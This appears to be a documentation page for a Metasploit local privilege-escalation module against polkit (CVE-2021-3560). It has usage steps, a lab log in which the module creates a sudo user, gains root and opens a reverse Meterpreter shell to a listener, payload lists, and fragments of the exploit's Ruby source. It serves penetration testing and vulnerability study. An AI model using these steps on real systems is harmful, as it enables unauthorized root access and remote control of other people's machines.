Polkit D-Bus Authentication Bypass - Metasploit


This page contains detailed information about how to use the exploit/linux/local/polkit_dbus_auth_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Polkit D-Bus Authentication Bypass
Module: exploit/linux/local/polkit_dbus_auth_bypass
Source code: modules/exploits/linux/local/polkit_dbus_auth_bypass.rb
Disclosure date: 2021-06-03
Last modification time: 2022-10-08 09:50:25 +0000
Supported architecture(s): -
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-3560

A vulnerability exists within the polkit system service that can be leveraged by a local, unprivileged attacker to perform privileged operations. In order to leverage the vulnerability, the attacker invokes a method over D-Bus and kills the client process. This will occasionally cause the operation to complete without being subjected to all of the necessary authentication. The exploit module leverages this to add a new user with a sudo access and a known password. The new account is then leveraged to execute a payload with root privileges.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • config-changes: Module modifies some configuration setting on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • screen-effects: Module may show something on the screen (Example: a window pops up).

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/polkit_dbus_auth_bypass
msf exploit(polkit_dbus_auth_bypass) > show targets
    ... a list of targets ...
msf exploit(polkit_dbus_auth_bypass) > set TARGET target-id
msf exploit(polkit_dbus_auth_bypass) > show options
    ... show and set options ...
msf exploit(polkit_dbus_auth_bypass) > set SESSION session-id
msf exploit(polkit_dbus_auth_bypass) > exploit

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Description

This module exploits a authentication bypass in Linux machines that make use of the polkit system service. The vulnerability enables an unprivileged local user to get a root shell on the system.

This exploit needs be run from an SSH or non-graphical session. The dbus-send command which is used to trigger the exploit, launches an authentication agent. When run from a graphical session, an authentication agent pops up in the form of a dialog box and waits for user input. This dialog box will cause the dbus-command to time out waiting for user input and will prevent successful exploitation of polkit

If systemd is installed on the system the session service type can be checked by running: loginctl session-status. The following output (x11) indicates a graphical session is being run and the exploit will not work:

Service: gdm-password; type x11; class user

The following output (tty) indicates a non-graphic session is being used and the exploit is likely to be successful:

Service: sshd; type tty; class user

Vulnerable Application

This module has been tested successfully on:

  • Ubuntu 20.04

Installation And Setup

Download and install Ubuntu 20.04 from the Ubuntu Downloads page: https://ubuntu.com/download/desktop

Verification Steps

  1. Start msfconsole.
  2. Get a session.
  3. Do: use exploit/linux/local/polkit_dbus_auth_bypass.
  4. Set the SESSION to the session obtained in step 2.
  5. Set the LHOST, LPORT and PAYLOAD options as appropriate.
  6. Do: run.
  7. It is possible for the exploit to fail. If this happens, increase the value of the ITERATIONS option to attempt the exploit more times before failing and attempt the exploit again.
  8. Enjoy the shell.

Options

SESSION The session to run this module on.

USERNAME The name of the user the exploit will add to the system

PASSWORD The password for the user to be created

WritableDir Directory to write file to (%TEMP% by default).

Scenarios

Tested on Ubuntu 20.04

msf6 > use multi/handler
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.146:49882) at 2021-06-25 17:54:45 -0400

meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use polkit_dbus
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/linux/local/polkit_dbus_auth_bypass  2021-06-03       excellent  Yes    Polkit Authentication Bypass


Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/polkit_dbus_auth_bypass

[*] Using exploit/linux/local/polkit_dbus_auth_bypass
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set lport 4443
lport => 4443
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set session 1
session => 1
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > run

[*] Started reverse TCP handler on 192.168.123.1:4443
[*] Executing automatic check (disable AutoCheck to override)
[*] Checking for exploitability via attempt
[+] The target is vulnerable. The polkit framework instance is vulnerable.
[*] Attempting to create user msf
[+] User msf created with UID 1019
[*] Attempting to set the password of the newly create user, msf, to: NpJsQSti
[+] Obtained code execution as root!
[*] Writing '/tmp/vOWnn' (207 bytes) ...
[*] Sending stage (984904 bytes) to 192.168.123.146
[+] Deleted /tmp/vOWnn
[*] Meterpreter session 2 opened (192.168.123.1:4443 -> 192.168.123.146:42066) at 2021-06-25 17:55:27 -0400
[*] Attempting to remove the user added:
[+] Successfully removed msf

meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 192.168.123.146
OS           : Ubuntu 20.04 (Linux 5.8.0-55-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

Go back to menu.

Msfconsole Usage

Here is how the linux/local/polkit_dbus_auth_bypass exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/polkit_dbus_auth_bypass

[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show info

       Name: Polkit D-Bus Authentication Bypass
     Module: exploit/linux/local/polkit_dbus_auth_bypass
   Platform: Unix, Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-06-03

Provided by:
  Kevin Backhouse
  Spencer McIntyre
  jheysel-r7

Module side effects:
 artifacts-on-disk
 config-changes
 ioc-in-logs
 screen-effects

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  ITERATIONS  20               yes       Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted
  PASSWORD    XOCW4oGS         yes       A password to add for the user (default: random)
  SESSION                      yes       The session to run this module on.
  TIMEOUT     30               yes       The maximum time in seconds to wait for each request to finish
  USERNAME    msf              yes       A username to add as root

Payload information:

Description:
  A vulnerability exists within the polkit system service that can be 
  leveraged by a local, unprivileged attacker to perform privileged 
  operations. In order to leverage the vulnerability, the attacker 
  invokes a method over D-Bus and kills the client process. This will 
  occasionally cause the operation to complete without being subjected 
  to all of the necessary authentication. The exploit module leverages 
  this to add a new user with a sudo access and a known password. The 
  new account is then leveraged to execute a payload with root 
  privileges.

References:
  https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
  https://nvd.nist.gov/vuln/detail/CVE-2021-3560
  https://www.exploit-db.com/exploits/50011

Module Options

This is a complete list of options available in the linux/local/polkit_dbus_auth_bypass exploit:

msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show options

Module options (exploit/linux/local/polkit_dbus_auth_bypass):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   ITERATIONS  20               yes       Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted
   PASSWORD    XOCW4oGS         yes       A password to add for the user (default: random)
   SESSION                      yes       The session to run this module on.
   TIMEOUT     30               yes       The maximum time in seconds to wait for each request to finish
   USERNAME    msf              yes       A username to add as root

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the linux/local/polkit_dbus_auth_bypass exploit:

msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show advanced

Module advanced options (exploit/linux/local/polkit_dbus_auth_bypass):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/x86/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/local/polkit_dbus_auth_bypass module can exploit:

msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/polkit_dbus_auth_bypass exploit:

msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x86/chmod                                            normal  No     Linux Chmod
   6   payload/linux/x86/exec                                             normal  No     Linux Execute Command
   7   payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   8   payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   9   payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   10  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   11  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   12  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   13  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   14  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   15  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   16  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   17  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   18  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   19  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   20  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   21  payload/linux/x86/read_file                                        normal  No     Linux Read File
   22  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   23  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   24  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   25  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   26  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   27  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   28  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   29  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   30  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   31  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   32  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   33  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   34  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   35  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options

Here is the full list of possible evasion options supported by the linux/local/polkit_dbus_auth_bypass exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: <TIME_COMMAND>

Here is a relevant code snippet related to the "Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: <TIME_COMMAND>" error message:

109:	  def get_cmd_delay
110:	    user = rand_text_alphanumeric(8)
111:	    time_command = "bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\"#{user}\" int32:1'"
112:	    time = cmd_exec(time_command, nil, datastore['TIMEOUT']).match(/real\s+\d+m(\d+.\d+)s/)
113:	    unless time && time[1]
114:	      print_error("Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: #{time_command}")
115:	      return nil
116:	    end
117:	
118:	    time_in_seconds = time[1].to_f
119:	    # The dbus-send command timeout is implementation-defined, typically 25 seconds

The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.

Here is a relevant code snippet related to the "The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information." error message:

117:	
118:	    time_in_seconds = time[1].to_f
119:	    # The dbus-send command timeout is implementation-defined, typically 25 seconds
120:	    # https://dbus.freedesktop.org/doc/dbus-send.1.html#:~:text=25%20seconds
121:	    if time_in_seconds > datastore['TIMEOUT'].to_f || time_in_seconds > 25.00
122:	      print_error('The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.')
123:	      return nil
124:	    end
125:	    time_in_seconds / 2
126:	  end
127:

TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.

Here is a relevant code snippet related to the "TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not." error message:

125:	    time_in_seconds / 2
126:	  end
127:	
128:	  def check
129:	    if datastore['TIMEOUT'] < 26
130:	      return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.")
131:	    end
132:	
133:	    unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/
134:	      return CheckCode::Safe('The polkit framework is not installed.')
135:	    end

The polkit framework is not installed.

Here is a relevant code snippet related to the "The polkit framework is not installed." error message:

129:	    if datastore['TIMEOUT'] < 26
130:	      return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.")
131:	    end
132:	
133:	    unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/
134:	      return CheckCode::Safe('The polkit framework is not installed.')
135:	    end
136:	
137:	    # The version as returned by pkexec --version is insufficient to identify whether or not the patch is installed. To
138:	    # do that, the distro specific package manager would need to be queried. See #check_via_version.
139:	    polkit_version = Rex::Version.new(Regexp.last_match(1))

The dbus-send command is not accessible, however the polkit framework is installed.

Here is a relevant code snippet related to the "The dbus-send command is not accessible, however the polkit framework is installed." error message:

137:	    # The version as returned by pkexec --version is insufficient to identify whether or not the patch is installed. To
138:	    # do that, the distro specific package manager would need to be queried. See #check_via_version.
139:	    polkit_version = Rex::Version.new(Regexp.last_match(1))
140:	
141:	    unless cmd_exec('dbus-send -h') =~ /Usage: dbus-send/
142:	      return CheckCode::Detected('The dbus-send command is not accessible, however the polkit framework is installed.')
143:	    end
144:	
145:	    # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
146:	    @cmd_delay = get_cmd_delay
147:	    return CheckCode::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?

Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.

Here is a relevant code snippet related to the "Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target." error message:

142:	      return CheckCode::Detected('The dbus-send command is not accessible, however the polkit framework is installed.')
143:	    end
144:	
145:	    # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
146:	    @cmd_delay = get_cmd_delay
147:	    return CheckCode::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
148:	
149:	    status = nil
150:	    print_status('Checking for exploitability via attempt')
151:	    status ||= check_via_attempt
152:	    print_status('Checking for exploitability via version') unless status

Detected polkit framework version <POLKIT_VERSION>.

Here is a relevant code snippet related to the "Detected polkit framework version <POLKIT_VERSION>." error message:

149:	    status = nil
150:	    print_status('Checking for exploitability via attempt')
151:	    status ||= check_via_attempt
152:	    print_status('Checking for exploitability via version') unless status
153:	    status ||= check_via_version
154:	    status ||= CheckCode::Detected("Detected polkit framework version #{polkit_version}.")
155:	
156:	    status
157:	  end
158:	
159:	  def check_via_attempt

The polkit framework instance is vulnerable.

Here is a relevant code snippet related to the "The polkit framework instance is vulnerable." error message:

166:	    # random string before restoring it.
167:	    result = dbus_method_call('/org/freedesktop/Accounts/User0', 'org.freedesktop.DBus.Properties.Get', 'org.freedesktop.Accounts.User', 'RealName')
168:	    if result =~ /variant\s+string\s+"(.*)"/
169:	      old_realname = Regexp.last_match(1)
170:	      if exploit_set_realname(rand_text_alphanumeric(12))
171:	        status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.')
172:	        unless exploit_set_realname(old_realname)
173:	          print_error('Failed to restore the root user\'s original \'RealName\' property value')
174:	        end
175:	      end
176:	    end

Failed to restore the root user's original 'RealName' property value

Here is a relevant code snippet related to the "Failed to restore the root user's original 'RealName' property value" error message:

168:	    if result =~ /variant\s+string\s+"(.*)"/
169:	      old_realname = Regexp.last_match(1)
170:	      if exploit_set_realname(rand_text_alphanumeric(12))
171:	        status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.')
172:	        unless exploit_set_realname(old_realname)
173:	          print_error('Failed to restore the root user\'s original \'RealName\' property value')
174:	        end
175:	      end
176:	    end
177:	
178:	    status

Fedora version <DISTRO_VERSION> is not affected (too old).

Here is a relevant code snippet related to the "Fedora version <DISTRO_VERSION> is not affected (too old)." error message:

183:	    case sysinfo[:distro]
184:	    when 'fedora'
185:	      if sysinfo[:version] =~ /Fedora( release)? (\d+)/
186:	        distro_version = Regexp.last_match(2).to_i
187:	        if distro_version < 20
188:	          return CheckCode::Safe("Fedora version #{distro_version} is not affected (too old).")
189:	        elsif distro_version < 33
190:	          return CheckCode::Appears("Fedora version #{distro_version} is affected.")
191:	        elsif distro_version == 33
192:	          # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-3f8d6016c9
193:	          patched_version_string = '0.117-2.fc33.1'

Fedora version <DISTRO_VERSION> is affected.

Here is a relevant code snippet related to the "Fedora version <DISTRO_VERSION> is affected." error message:

185:	      if sysinfo[:version] =~ /Fedora( release)? (\d+)/
186:	        distro_version = Regexp.last_match(2).to_i
187:	        if distro_version < 20
188:	          return CheckCode::Safe("Fedora version #{distro_version} is not affected (too old).")
189:	        elsif distro_version < 33
190:	          return CheckCode::Appears("Fedora version #{distro_version} is affected.")
191:	        elsif distro_version == 33
192:	          # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-3f8d6016c9
193:	          patched_version_string = '0.117-2.fc33.1'
194:	        elsif distro_version == 34
195:	          # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-0ec5a8a74b

Fedora version <DISTRO_VERSION> is not affected.

Here is a relevant code snippet related to the "Fedora version <DISTRO_VERSION> is not affected." error message:

193:	          patched_version_string = '0.117-2.fc33.1'
194:	        elsif distro_version == 34
195:	          # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-0ec5a8a74b
196:	          patched_version_string = '0.117-3.fc34.1'
197:	        elsif distro_version > 34
198:	          return CheckCode::Safe("Fedora version #{distro_version} is not affected.")
199:	        end
200:	
201:	        result = cmd_exec('dnf list installed "polkit.*"')
202:	        if result =~ /polkit\.\S+\s+(\d\S+)\s+/
203:	          current_version_string = Regexp.last_match(1)

Version <CURRENT_VERSION_STRING> is affected.

Here is a relevant code snippet related to the "Version <CURRENT_VERSION_STRING> is affected." error message:

200:	
201:	        result = cmd_exec('dnf list installed "polkit.*"')
202:	        if result =~ /polkit\.\S+\s+(\d\S+)\s+/
203:	          current_version_string = Regexp.last_match(1)
204:	          if Rex::Version.new(current_version_string) < Rex::Version.new(patched_version_string)
205:	            return CheckCode::Appears("Version #{current_version_string} is affected.")
206:	          else
207:	            return CheckCode::Safe("Version #{current_version_string} is not affected.")
208:	          end
209:	        end
210:	      end

Version <CURRENT_VERSION_STRING> is not affected.

Here is a relevant code snippet related to the "Version <CURRENT_VERSION_STRING> is not affected." error message:

202:	        if result =~ /polkit\.\S+\s+(\d\S+)\s+/
203:	          current_version_string = Regexp.last_match(1)
204:	          if Rex::Version.new(current_version_string) < Rex::Version.new(patched_version_string)
205:	            return CheckCode::Appears("Version #{current_version_string} is affected.")
206:	          else
207:	            return CheckCode::Safe("Version #{current_version_string} is not affected.")
208:	          end
209:	        end
210:	      end
211:	    when 'ubuntu'
212:	      result = cmd_exec('apt-cache policy policykit-1')

Version <CURRENT_VERSION_STRING> is not affected (too old, the vulnerability was introduced in 0.105-26).

Here is a relevant code snippet related to the "Version <CURRENT_VERSION_STRING> is not affected (too old, the vulnerability was introduced in 0.105-26)." error message:

214:	        current_version_string = Regexp.last_match(1)
215:	        current_version = Rex::Version.new(current_version_string.gsub(/ubuntu/, '.'))
216:	
217:	        if current_version < Rex::Version.new('0.105-26')
218:	          # The vulnerability was introduced in 0.105-26
219:	          return CheckCode::Safe("Version #{current_version_string} is not affected (too old, the vulnerability was introduced in 0.105-26).")
220:	        end
221:	
222:	        # See: https://ubuntu.com/security/notices/USN-4980-1
223:	        # The 'ubuntu' part of the string must be removed for Rex::Version compatibility, treat it as a point place.
224:	        case sysinfo[:version]

Ubuntu 19.10 is affected.

Here is a relevant code snippet related to the "Ubuntu 19.10 is affected." error message:

227:	        when /20\.10/
228:	          patched_version_string = '0.105-29ubuntu0.1'
229:	        when /20\.04/
230:	          patched_version_string = '0.105-26ubuntu1.1'
231:	        when /19\.10/
232:	          return CheckCode::Appears('Ubuntu 19.10 is affected.')
233:	        end
234:	        # Ubuntu 19.04 and older are *not* affected
235:	
236:	        if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.'))
237:	          return CheckCode::Appears("Version #{current_version_string} is affected.")

Version <CURRENT_VERSION_STRING> is affected.

Here is a relevant code snippet related to the "Version <CURRENT_VERSION_STRING> is affected." error message:

232:	          return CheckCode::Appears('Ubuntu 19.10 is affected.')
233:	        end
234:	        # Ubuntu 19.04 and older are *not* affected
235:	
236:	        if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.'))
237:	          return CheckCode::Appears("Version #{current_version_string} is affected.")
238:	        end
239:	
240:	        return CheckCode::Safe("Version #{current_version_string} is not affected.")
241:	      end
242:	    end

Version <CURRENT_VERSION_STRING> is not affected.

Here is a relevant code snippet related to the "Version <CURRENT_VERSION_STRING> is not affected." error message:

235:	
236:	        if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.'))
237:	          return CheckCode::Appears("Version #{current_version_string} is affected.")
238:	        end
239:	
240:	        return CheckCode::Safe("Version #{current_version_string} is not affected.")
241:	      end
242:	    end
243:	  end
244:	
245:	  def cmd_exec(*args)

Failed to find the su command which this exploit depends on.

Here is a relevant code snippet related to the "Failed to find the su command which this exploit depends on." error message:

367:	  def execute_payload(fname)
368:	    cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
369:	  end
370:	
371:	  def exploit
372:	    fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
373:	    fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
374:	    if datastore['TIMEOUT'] < 26
375:	      fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
376:	    end
377:

Failed to find the dbus-send command which this exploit depends on.

Here is a relevant code snippet related to the "Failed to find the dbus-send command which this exploit depends on." error message:

368:	    cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
369:	  end
370:	
371:	  def exploit
